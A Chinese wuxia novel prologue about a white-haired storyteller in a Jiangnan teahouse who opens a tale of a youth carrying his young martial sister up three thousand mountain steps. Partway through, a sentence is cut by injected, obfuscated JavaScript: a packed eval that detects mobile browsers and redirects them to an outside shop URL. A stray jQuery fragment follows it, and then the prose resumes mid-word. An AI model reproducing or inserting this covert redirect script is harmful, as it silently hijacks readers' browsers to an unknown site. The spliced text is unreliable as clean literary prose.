江南深秋，雨细如愁。落在黛瓦之上，无声无息，只洇出一层潮润的凉意。临河一爿茶馆，悬匾“听风楼”，名头雅驯，其实不过寻常去处，三楹门面，二楼窗牖正对一岸芦苇，霜降过后，芦花垂白，望过去茫茫如雪。檐角铁马年久失修，风过时叮当相击，声碎而清，仿佛谁在云端敲碎了半盏琉璃。
馆内七八席客，多是镇上熟面。短褐货郎、青巾村妇，并一位戴旧毡帽的账房先生，正不紧不慢地剥胡桃，壳碎声与炉上茶沸的咕嘟混在一处。桂花开到尾声，甜意将散未散，浮在湿漉漉的空气里，轻得像一声叹息。
靠窗那席，空着。一盏冷茶搁在桌上，茶叶沉在杯底，蜷作一痕墨绿。
“沈先生来了。”有人低声提了一句。
楼梯响了三声。不疾不徐，步幅一致，像习武之人压着丹田气，每一步都踏在同一个拍节上，稳而沉，带着经年的持重。
上来的是个女子。素衣胜雪，白发如霜，一张面孔却年轻得出奇——眉眼清淡，像隔夜的山水，在昏黄烛光下看，仿佛随时会化入宣纸里。身形瘦削，左手指节微微凸起，生着旧伤，握醒木时关节泛白，是常年用力留下的痕迹。
她未携伞，肩头湿了薄薄一层水汽，在门首立了一息，抬手理了理袖口，随即如往日那般，朝靠窗空席的方向微微颔首。
茶客们已然司空见惯。
“沈先生今日讲甚？”剥胡桃的账房问道。
她不答，先落了座，解下青布包袱，取出一方旧醒木。桃木的，边角磨得温润如脂，裂纹丛生却一丝不损其形，像养了几十年的老玉。她给自己斟一盏热茶，双手拢着杯壁暖了指节，方缓缓抬目，将满座扫了一圈。
目光所及之处，嘈杂渐息。灶上水沸声低了半度，门口卖藕粉的老汉也收住了嗓子。窗外的雨忽然有了声音——细细密密地落在瓦上，像蚕啮桑叶，像针尖挑着旧帛。
她开口了。声不高，却字字分明，像石子投入深潭，涟漪一层一层推送出去。
“诸位客官，今日开新书。”
一停。
“不讲帝王将相，不讲才子佳人。”
指腹在醒木边沿轻轻一叩，不响，却让所有人耳廓一动。
“讲一座山，一把剑，一个人。”
雨声渐密。檐下铁马被风卷着，叮叮当当响得急了些。她把醒木搁在桌上，左手不自觉地覆上心口，掌心隔着衣料贴着那道旧伤，停了约莫三息，才缓缓松开来。嘴角弯了个极浅的弧度，像雪地上被风犁出的一道细痕，转瞬即逝。
“这个故事，”她说，“有些长。诸位坐得住，老身便慢慢讲。”
她把“老身”二字咬得极轻，轻得像含着一片薄冰，化了才察觉那一点凉。
无人注意到这细微的破绽——所有人的神思已被她接下来的话摄住了。
“约莫两百年前，朔风卷雪，封了大半座南疆。”
她拈起茶盏啜了一口，视线越过窗棂，落在对岸那片芦花之上。暮色正从芦苇梢头一寸一寸漫过来，像谁研开了极淡的墨，一笔一笔染透了整条河。
“那时节，尚无‘听风楼’此间茶舍。那时节——”
她搁下茶盏，杯中水面晃了两晃，映出她指节上那道浅白的旧瘢。
“——有一座山。叫‘不归山’。”
窗外遽然起了一阵风，铁马哗啦啦摇成一片，铜铁交击的碎响灌了满堂。众人不由齐齐朝窗首望去，再转回头时，沈先生已然垂下了眼睑，醒木端端正正伏在掌心里，像一尾敛了鳍的鱼。
“那年隆冬，有个少年跪在三千石阶之下。雪深没膝，身上只一件单薄青衫，脊背上伏着个垂髫稚女，约莫七八岁光景，涕泪交零，蹭了他满肩的湿痕。”
她说到此处，忽地顿住。指腹慢慢摩挲醒木边沿那道裂纹，动作极缓，像是在拂拭一道久远的伤口，拂了很多年也没能拂平。
“少年姓谢，名长晏。长风的‘长’，天清气朗的‘晏’。他阿爹起这名，盼他一世晴明，无风无雨。”
“那一年，他十九。”
席间有个扎双髻的小姑娘忍不住插口：“他背的是谁呀？”
沈先生抬起眼来，望了她一息。那目光极静，静得像深冬结了冰的湖面，冰下有暗流涌动，面上却一丝波纹也无。
“一个小师妹。”
“小师妹”三字出口时声音极轻，像怕惊了什么沉睡的东西。
“那时她还小，还不太会哭，只把脸埋在少年后颈窝里，热乎乎的呼吸扑在他耳后，像一只惊了魂的幼兽。少年每叩一阶，便说一句‘弟子谢长晏，愿以半数功德，换她入门’。三千石阶，他叩了整整一夜。”
“雪愈落愈大。后半夜那丫头睡过去了，梦里尚在抽噎，湿漉漉的蹭了他一肩膀。少年却笑了。”
沈先生也笑了一下。那笑意一闪而逝，像瓦上霜花遇了日光，只一瞬便化了。
“他说——”她轻轻闭了闭眼，“‘莫哭了。再哭，师兄的新袍子便不能穿了。’”
尾音收得极干净，像一根丝线被利刃截断。窗外的雨声骤然大了，密密砸在瓦上，噼噼啪啪，仿佛天公在撒一把冷硬的碎玉。
满座俱寂。
炉上水沸了又歇，咕嘟声渐渐弱下去。剥胡桃的账房忘了动作，胡桃壳硌在掌心，掐出一道红痕来。窗外有个挑担的货郎经过，听见里面静得反常，探头张了一眼，又缩回去了。
沈先生垂目看着自己那盏茶。茶汤已凉，一片半卷的茶叶浮在水面，像一叶搁浅的孤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783880|210141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
舟。
她端起来，一饮而尽。
“诸位客官，”她说，“今日且到这里。”
醒木落案。“嗒”的一响，清脆而短，像一颗石子坠入深井，回声在梁间荡了数匝，方才散尽。
茶客们这才恍然回神。有人搁下几文铜钱，有人起身收拾物什。几个妇人低声议论着什么，带着桂花将谢的余香从楼梯口散下去了。楼梯板被踩得吱呀作响，像谁的旧骨头在喘气。
沈先生没动。她坐在窗边，望着河面上最后一抹天光缓缓收敛。对岸芦花在风里起伏，白茫茫地晃着，分不清是花是雪。
楼梯口，那扎双髻的小姑娘忽然折返，趴着栏杆探头问：“沈先生，后来呢？那个小师妹，后来进山门了么？”
沈先生侧过脸来。
暮色将她的侧影勾成一道淡弧，白发镀了层温润的银光，像月下初雪覆着枯枝。她没有立刻作答，指腹在旧醒木边缘来回摩挲着，那道裂纹正好贴着她的指节，仿佛量身裁度。
“进了。”
她吐字极缓。
“三千阶，她师兄背着她，一阶一阶叩上去了。”
小姑娘“哦”了一声，心满意足地蹦跳着下了楼。木梯咚咚作响，像断线的珠子滚了满阶。
茶馆里只剩沈先生一人。
她慢慢起身，将杯中残茶倾入窗台的陶盆里。半卷的茶叶贴着盆底，蜷缩成极小的一团，像一颗裹紧的心。她立了一会儿，窗缝里漏进一缕晚风，吹得她白发微动。她忽然对着窗台，对着那片渐浓的暮色，极轻地说了一句话。
声低如自语，又像在和什么人打招呼。
“明日讲教剑。”
她走到楼梯口，左手在门框上按了一下。指节上那道旧伤在昏光里泛着青白，像是寒气沁进了骨缝里。
脚步声远了。一步一步，踏在旧木梯上，像针脚落在绷紧的绸面上，渐渐收进夜的深处。
窗外暮色终于合拢。芦花在晚风里摇着，河面漾开细碎的光斑，碎银子似的铺了半河。
茶桌上，那方旧醒木静伏如兽。桃木的，边角磨得玉一般温润，底面上刻着两个字，笔画浅淡，几乎被经年摩挲磨平了棱角。
——归晚。
檐外雨声未歇。铁马在风里叮当相撞，一声一声，像在敲一段没有尽头的旧时光。
茶凉透了。
故事，才刚刚开始。
**【楔子完】**
---
定场诗：
*江南雨细说书人，素衣白发指痕深。*
*铁马檐前敲旧事，一茶一盏一前尘。*
*欲问那三千石阶叩罢，稚女可曾入仙门？*
*且听下回，慢展霜缣，细细说与诸君。*